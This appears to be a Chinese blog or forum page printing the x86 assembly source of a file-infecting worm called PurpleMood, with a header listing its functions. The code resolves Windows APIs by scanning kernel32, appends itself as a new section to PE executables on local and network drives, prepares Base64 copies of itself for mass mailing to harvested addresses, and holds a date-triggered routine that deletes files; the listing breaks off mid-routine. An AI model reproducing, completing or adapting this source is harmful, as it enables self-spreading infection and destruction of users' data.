naoga

PurpleMood 紫色心情病毒源代码

*******************************************************************
病毒名称:PurpleMood (紫色心情)
适用环境: Win9x/Winnt/Win2k/Winxp
编写环境: Win2k,Masm32v6
简     介:1. 感染本地硬盘和网络上所有exe(GUI)文件
           2. 搜索本地所有邮件地址,将病毒作为附件发送出去
           3. 在Explorer进程中注入线程监控程序的运行。
           4. 每月15日,发作。删除硬盘所有文件。
完成日期:2002/6/20
版  本:v1.0
大  小:6736(byte)
联系地址: XPurpleMood@163.com
警 告 : 以下程序(方法)可能带有攻击性,仅供技术交流。
           使用者风险自负!若有其他用途,概与本人无关
           万一有转贴,请保持完整性,多谢!
*******************************************************************
.386
.model flat,stdcall
option casemap:none
include useful.inc

.data
hi     db 'hi',0
ppmm   db 'ppmm,you need no reason to love me!',0

.code
main:
    mov    HostEntry,offset ret_addr
    jmp    VStart
ret_addr:
    Invoke MessageBox,NULL,offset ppmm,offset hi,0
    ret

CODE SEGMENT
VStart:                           ;virus starts here :)
         call    start
start:
         pop     ebx
         sub     ebx , offset start

         call    GetKBase
         call    GetAPIz

         call    PayLoad
         lea     esi,[offset szEXEPath+ebx]
         push    MAX_PATH
         push    esi
         push    NULL
         mov     eax , 12345678h
_GetModuleFileNameA = dword ptr $-4
         call    eax
         lea     edi,[offset szFilePath+ebx]
         push    50
         push    edi
         mov     eax , 12345678h
_GetSystemDirectoryA = dword ptr $-4
         call    eax
         add     eax,FNameSize
         mov     SCRPathSize[ebx],eax
         lea     eax,[offset szFileName+ebx]
         push    eax
         push    edi
         mov     eax , 12345678h
_lstrcat        = dword ptr $-4
         call    eax
         push    esi
         push    edi
         mov     eax , 12345678h
_lstrcmpi       = dword ptr $-4
         call    eax
         or      eax,eax
         jz      StartInfect
         call    CreatePE
         call    rtInit
         call    MakeSCRAlive
Ret2Host:
         push    HostEntry[ebx]
         ret                     ;此时栈顶为HostEntry,返回正常入口执行
StartInfect:
         lea     eax,[offset nGetProcAddress+ebx] ;Mutex name
         push    eax
         push    FALSE
         push    NULL
         mov     eax , 12345678h
_CreateMutex    = dword ptr $-4
         call    eax
         lea     eax,[offset MonitorThread + ebx]
         push    0
         push    0
         push    ebx                    ;I pass 0 first :(
         push    eax
         push    0
         push    0
         mov     eax , 12345678h
_CreateThread   = dword ptr $-4
         call    eax
         lea     eax,[offset PEThread + ebx]
         push    0
         push    0
         push    ebx                    ;I pass 0 first :(
         push    eax
         push    0
         push    0
         call    _CreateThread[ebx]
         call    MailThread             ;while(TRUE)

;**********获得image of kernel32.dll的基址*****************
GetKBase:
           mov    edi , [esp+4]
           and    edi , 0FFFF0000h
           .while TRUE
               .if WORD ptr [edi] == IMAGE_DOS_SIGNATURE
                   mov   esi, edi
                   add   esi, [esi+03Ch]
                   .if   DWORD ptr [esi] == IMAGE_NT_SIGNATURE
                        .break
                   .endif
               .endif
               sub   edi, 010000h
               .if edi < MIN_KERNEL_SEARCH_BASE    ;win9x
                    mov   edi, 0bff70000h    ;0bff7000h=9x'base
                    .break
               .endif
            .endw
            mov     hKernel32[ebx],edi
            ret
GetAPIz:
          mov      edx,edi                       ;edx->Kernel32_Base
          assume   edx :ptr IMAGE_DOS_HEADER
          add      edx,[edx].e_lfanew
          assume   edx:ptr IMAGE_NT_HEADERS
          mov      edx,[edx].OptionalHeader.DataDirectory.VirtualAddress
          add      edx,hKernel32[ebx]
          assume   edx:ptr IMAGE_EXPORT_DIRECTORY
          mov      ebp,[edx].AddressOfNames
          add      ebp,hKernel32[ebx]   ;now ebp=Addr of RVAofName[]
          xor      eax,eax              ;eax AddressOfNames Index
         .repeat
              push   14         ;Lenth of GetProcAddress
              pop    ecx
              mov    edi,[ebp]
              add    edi,hKernel32[ebx]
              lea    esi,[offset nGetProcAddress+ebx]
              repz   cmpsb
              .if    zero?
                    .break
              .endif
              add    ebp,4         ;下一个RVA
              inc    eax
         .until   eax == [edx].NumberOfNames
         mov      ebp, [edx].AddressOfNameOrdinals
         add      ebp, hKernel32[ebx]
         movzx    ecx, word ptr [ebp+eax*2]
         mov      ebp, [edx].AddressOfFunctions    ;get addr of the api
         add      ebp, hKernel32[ebx]
         mov      eax, [ebp+ecx*4]
         add      eax,hKernel32[ebx]
         mov      _GetProcAddress[ebx],eax    ;Save GetProcAddress
GetOApiz:
          call @api_table
          db   'LoadLibraryA',0
          db   'CreateThread',0
          db   'CreateRemoteThread',0
          db   'WinExec',0
          db   'CreateMutexA',0
          db   'OpenMutexA',0
          db   'ReleaseMutex',0
          db   'FindFirstFileA',0
          db   'FindNextFileA',0
          db   'FindClose',0
          db   'CreateFileA',0
          db   'CreateFileMappingA',0
          db   'MapViewOfFile',0
          db   'UnmapViewOfFile',0
          db   'SetFilePointer',0
          db   'WriteFile',0
          db   'CloseHandle',0
          db   'VirtualAlloc',0
          db   'VirtualAllocEx',0
          db   'WriteProcessMemory',0
          db   'VirtualFree',0
          db   'VirtualFreeEx',0
          db   'lstrcmpi',0
          db   'lstrcpy',0
          db   'lstrcat',0
          db   'lstrlen',0
          db   'GetFileSize',0
          db   'GetSystemDirectoryA',0
          db   'GetModuleFileNameA',0
          db   'Sleep',0
          db   'GetSystemTime',0
          db   'DeleteFileA',0
          db   'OpenProcess',0
@api_table:
          pop     edi
          call @api_dest
K_Apiz:
          dd    offset   _LoadLibraryA
          dd    offset   _CreateThread
          dd    offset   _CreateRemoteThread
          dd    offset   _WinExec
          dd    offset   _CreateMutex
          dd    offset   _OpenMutex
          dd    offset   _ReleaseMutex
          dd    offset   _FindFirstFile
          dd    offset   _FindNextFile
          dd    offset   _FindClose
          dd    offset   _CreateFile
          dd    offset   _CreateFileMapping
          dd    offset   _MapViewOfFile
          dd    offset   _UnmapViewOfFile
          dd    offset   _SetFilePointer
          dd    offset   _WriteFile
          dd    offset   _CloseHandle
          dd    offset   _VirtualAlloc
          dd    offset   _VirtualAllocEx
          dd    offset   _WriteProcessMemory
          dd    offset   _VirtualFree
          dd    offset   _VirtualFreeEx
          dd    offset   _lstrcmpi
          dd    offset   _lstrcpy
          dd    offset   _lstrcat
          dd    offset   _lstrlen
          dd    offset   _GetFileSize
          dd    offset   _GetSystemDirectoryA
          dd    offset   _GetModuleFileNameA
          dd    offset   _Sleep
          dd    offset   _GetSystemTime
          dd    offset   _DeleteFile
          dd    offset   _OpenProcess
K_API_NUM    =   ($-K_Apiz)/4
@api_dest:
         pop       esi
         push      K_API_NUM
         pop       ecx
         xor       ebp,ebp
K_begin:
         push      ecx
         push      edi
         push      hKernel32[ebx]
         call      _GetProcAddress[ebx]
         or        eax,eax
         jz        GA_Fail
         mov       edx , [esi+ebp]
         mov       dword ptr [edx+ebx],eax
         xor       eax,eax
         repnz     scasb           ;寻找字符串结束标志0,使edi指向下个函数名
         add       ebp,4
         pop       ecx
         loop      K_begin
         @pushsz   'MPR.dll'
         call      _LoadLibraryA[ebx]
         or        eax,eax
         jz        short GA_Fail
         xchg      esi,eax                         ;HMODULE of MPR.dll
Mpr_begin:
         @pushsz   'WNetOpenEnumA'
         push      esi
         call      _GetProcAddress[ebx]
         mov       _WNetOpenEnum[ebx],eax
         @pushsz   'WNetEnumResourceA'
         push      esi
         call      _GetProcAddress[ebx]
         mov       _WNetEnumResource[ebx],eax
         @pushsz   'WNetCloseEnum'
         push      esi
         call      _GetProcAddress[ebx]
         mov       _WNetCloseEnum[ebx],eax
GA_Fail:
         ret
PayLoad:
         call    @PL1
SystemTime      SYSTEMTIME   <>
@PL1:    mov     esi,[esp]
         mov     eax , 12345678h
_GetSystemTime = dword ptr $-4
         call    eax
movzx   eax , word ptr [esi+6]            ;SystemTime.wDay
cmp     ax,14h                ;15号吗?
jnz     PL_Exit
KILL:
         push     FILE_ALL
         @pushsz 'd:\test'
         call     EnumDir
PL_Exit:
         ret

;*********************************************
;the thread begin to enum all file in disk and
;network , when it finds a pe file Infect it!
;*********************************************
PEThread PROC   MReloc : DWORD
PT_Work:
      mov       ebx,MReloc
      push      FILE_EXE
      @pushsz   'd:\test'
      call      EnumDir
      ;push      NULL
      ;call      EnumNetWork
      push      1000*60*60            ;sleep an hour:)
      call      _Sleep[ebx]
      jmp       short PT_Work
PEThread ENDP

;枚举网络邻居
EnumNetWork PROC   pNetResource : DWORD
       LOCAL    hEnum        : DWORD
       LOCAL    Count        : DWORD
       LOCAL    BufferSize   : DWORD
       pushad
       push     0FFFFFFFFh
       pop      Count
       push     16*1024
       pop      BufferSize
       lea      eax , hEnum
       push     eax
       push     pNetResource
       push     0
       push     RESOURCETYPE_DISK
       push     RESOURCE_GLOBALNET
       mov      eax , 12345678h
_WNetOpenEnum = dword ptr $-4
       call     eax
       or       eax,eax
       jnz      EN_Exit
       push     PAGE_READWRITE
       push     MEM_RESERVE or MEM_COMMIT
       push     16*1024
       push     0
       mov      eax , 12345678h
_VirtualAlloc = dword ptr $-4
       call     eax
       or       eax,eax
       jz       short EN_Close
       mov      pNetResource,eax
       lea      eax,BufferSize
       push     eax
       push     pNetResource
       lea      eax,Count
       push     eax
       push     hEnum
       mov      eax , 12345678h
_WNetEnumResource   = dword ptr $-4
       call     eax
       or       eax,eax
       jnz      short EN_Free
       mov      ecx,Count
       mov      edi,pNetResource
       assume   edi:ptr NETRESOURCEA
EN_Loop:
       push     ecx
       mov      eax,[edi].dwUsage
       and      al,2
       .IF      al == 2
               push     edi
               call     EnumNetWork
       .ELSE
               mov      eax,[edi].lpRemoteName
               push     FILE_EXE
               push     eax
               call     EnumDir
       .ENDIF
       add      edi,20h    ; sizeof NETRESOURCE
       pop      ecx
loop EN_Loop
EN_Free:
       push      MEM_RELEASE
       push      0
       push      pNetResource
       mov       eax , 12345678h
_VirtualFree    = dword ptr $-4
       call      eax
EN_Close:
       push      hEnum
       mov       eax , 12345678h
_WNetCloseEnum = dword ptr $-4
       call      eax
EN_Exit:
       popad
       ret   4
EnumNetWork ENDP

;************InfectDisk***********************
;遍历本地硬盘,从C盘到Z盘,调用EnumDir遍历所有exe
;*********************************************
EnumDisk PROC   DirName : DWORD,FileType : DWORD
        .REPEAT
                push   FileType
                push   DirName
                call   EnumDir
                mov    eax,DirName
                inc    byte ptr [eax]
                mov    al,byte ptr[eax]
        .UNTIL   al > 'z'
        mov   byte ptr [eax] , 'c'
        ret   8
EnumDisk   ENDP
;************EnumDir************

 

;感染PE文件

InfectFile PROC FileName : DWORD

         LOCAL    hFile     : DWORD

         LOCAL    hMapping : DWORD

         LOCAL    pMapping : DWORD

         LOCAL    ByteWrite: DWORD

         pushad

         push   NULL

         push   FILE_ATTRIBUTE_NORMAL

         push   OPEN_EXISTING

         push   NULL

         push   FILE_SHARE_READ+FILE_SHARE_WRITE

         push   GENERIC_READ+GENERIC_WRITE

         push   FileName

         mov      eax , 12345678h

_CreateFile = dword ptr $-4

         call     eax

         cmp    eax,INVALID_HANDLE_VALUE

         jz     IF_Exit

         mov    hFile,eax

         push    0

         push    0

         push    0

         push    PAGE_READWRITE

         push    NULL

         push    hFile

         mov      eax , 12345678h

_CreateFileMapping = dword ptr $-4

         call     eax

         or      eax,eax

         jz      IF_F3

         mov     hMapping , eax

         push    0

         push    0

         push    0

         push    FILE_MAP_READ+FILE_MAP_WRITE

         push    hMapping

         mov     eax , 12345678h

_MapViewOfFile = dword ptr $-4

         call    eax

         or      eax,eax

         jz      IF_F2

         mov     pMapping,eax

         mov     esi,eax

         assume esi :ptr IMAGE_DOS_HEADER

         .IF   [esi].e_magic!=IMAGE_DOS_SIGNATURE

              jmp   IF_F1

         .ENDIF

         .IF   [esi].e_lfarlc!=040h

              jmp   IF_F1

         .ENDIF

         add   esi,[esi].e_lfanew                  ;此时edx指向PE文件头

         assume esi:ptr IMAGE_NT_HEADERS

         .IF   [esi].Signature!=IMAGE_NT_SIGNATURE     ;是PE文件吗?

              jmp   IF_F1

         .ENDIF

         .IF word ptr [esi].OptionalHeader.Subsystem!=2

              jmp   IF_F1

         .ENDIF

         .IF word ptr [esi+1ah]==0815h

              jmp   IF_F1

         .ENDIF

         mov   eax,[esi].OptionalHeader.AddressOfEntryPoint

         add   eax,[esi].OptionalHeader.ImageBase

         mov   HostEntry[ebx],eax                       ;保存原入口

;***************************************************************

;判断是否有足够空间存储新节

;28h=sizeof IMAGE_SECTION_HEADER

;18h=sizeof IMAGE_FILE_HEADER+Signature

;edi将指向新节

;***************************************************************

         movzx   eax,[esi].FileHeader.NumberOfSections

         mov     ecx,28h

         mul     ecx

         lea     edi,[esi]

         sub     edi,pMapping

         add     eax,edi

         add     eax,18h

         movzx   edi,[esi].FileHeader.SizeOfOptionalHeader

         add     eax,edi

         mov     edi,eax

         add     edi,pMapping               ;I forgot this first

         add     eax,28h

         .IF   eax>[esi].OptionalHeader.SizeOfHeaders

              jmp   IF_F1

         .ENDIF

;*****************************************

;空间允许, ^0^,开始插入新节并填充各字段

;esi指向原文件最后一个节,利用它来填充新节某些字段

;*****************************************

         inc   [esi].FileHeader.NumberOfSections

         assume   edi:ptr IMAGE_SECTION_HEADER

         mov      dword ptr[edi],00736A78h    ;'xjs'

         push [esi].OptionalHeader.SizeOfImage

         pop   [edi].VirtualAddress

         mov   eax,offset VEnd-offset VStart

         mov   [edi].Misc.VirtualSize,eax

         mov   ecx,[esi].OptionalHeader.FileAlignment

         div   ecx

         inc   eax

         mul   ecx

         mov   [edi].SizeOfRawData,eax

         lea   eax,[edi-28h+14h]                 ;PointerToRawData

         mov   eax,[eax]

         lea   ecx,[edi-28h+10h]                 ;SizeOfRawData

         mov   ecx,[ecx]

         add   eax,ecx

         mov   [edi].PointerToRawData,eax

         mov   [edi].Characteristics,0E0000020h   ;可读可写可执行

;***************************************************************

;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行

;***************************************************************

         mov   eax,[edi].Misc.VirtualSize

         mov   ecx,[esi].OptionalHeader.SectionAlignment

         div   ecx

         inc   eax

         mul   ecx

         add   eax,[esi].OptionalHeader.SizeOfImage

         mov   [esi].OptionalHeader.SizeOfImage,eax

         mov   eax,[edi].VirtualAddress

         mov   [esi].OptionalHeader.AddressOfEntryPoint,eax

         mov   word ptr [esi+1ah],0815h    ;写入感染标志

         push   FILE_BEGIN

         push   0

         push   [edi].PointerToRawData

         push   hFile

         mov    eax , 12345678h

_SetFilePointer = dword ptr $-4

         call   eax

;****************************************************************

;设置文件指针到结尾后,写入从VStart开始的代码,大小经过文件对齐

;****************************************************************

         push   0

         lea    eax,ByteWrite

         push   eax

         push   [edi].SizeOfRawData

         lea    eax,[offset VStart+ebx]

         push   eax

         push   hFile

         mov    eax , 12345678h

_WriteFile = dword ptr $-4

         call   eax

IF_F1:

        push   pMapping

         mov      eax , 12345678h

_UnmapViewOfFile = dword ptr $-4

         call     eax

IF_F2:

        push   hMapping

        call   _CloseHandle[ebx]

IF_F3:

        push   hFile

        call   _CloseHandle[ebx]

IF_Exit:

        popad

        ret   4

InfectFile ENDP

;*****************电子邮件传播线程***************************

;从本地、网络的*.htm*获得邮件地址.

;***********************************************************

MailThread:

            call    MailInit

MT_Work:

            push     FILE_HTM

            @pushsz 'c:'

            call     EnumDisk

            push    1000*60*60*24            ;sleep a day :)

            call    _Sleep[ebx]

            jmp     short   MT_Work

;*********************************************************

;Mutate virus to BASE64 only once

;*********************************************************

MailInit PROC

         LOCAL   hFile     : DWORD

         LOCAL   hMapping : DWORD

         LOCAL   pMapping : DWORD

         pushad

         xor     edi,edi

         push    edi

         push    FILE_ATTRIBUTE_NORMAL

         push    OPEN_EXISTING

         push    edi

         push    FILE_SHARE_READ

         push    GENERIC_READ

         lea     eax,[offset szFilePath+ebx]

         push    eax

         call    _CreateFile[ebx]

         mov     hFile,eax

         push    edi

         push    edi

         push    edi

         push    PAGE_READONLY

         push    edi

         push    eax

         call    _CreateFileMapping[ebx]

         mov     hMapping,eax

         push    edi

         push    edi

         push    edi

         push    FILE_MAP_READ

         push    eax

         call    _MapViewOfFile[ebx]

         mov     pMapping,eax

         push    PAGE_READWRITE

         push    MEM_RESERVE or MEM_COMMIT

         push    SIZEOF_VIRUS_FILE*2

         push    edi

         call    _VirtualAlloc[ebx]

         mov     Base64_Encoded_Data[ebx],eax

         mov     esi,pMapping

         mov     edi,Base64_Encoded_Data[ebx]

         call    EncodeBase64

         @pushsz   'WSOCK32.DLL'

         call      _LoadLibraryA[ebx]

         xchg       eax,edi    ;hSockDll

         @pushsz   'WSAStartup'

         push      edi

         call      _GetProcAddress[ebx]

         lea       esi,[offset WSA_Data+ebx]

         push      esi

       

评论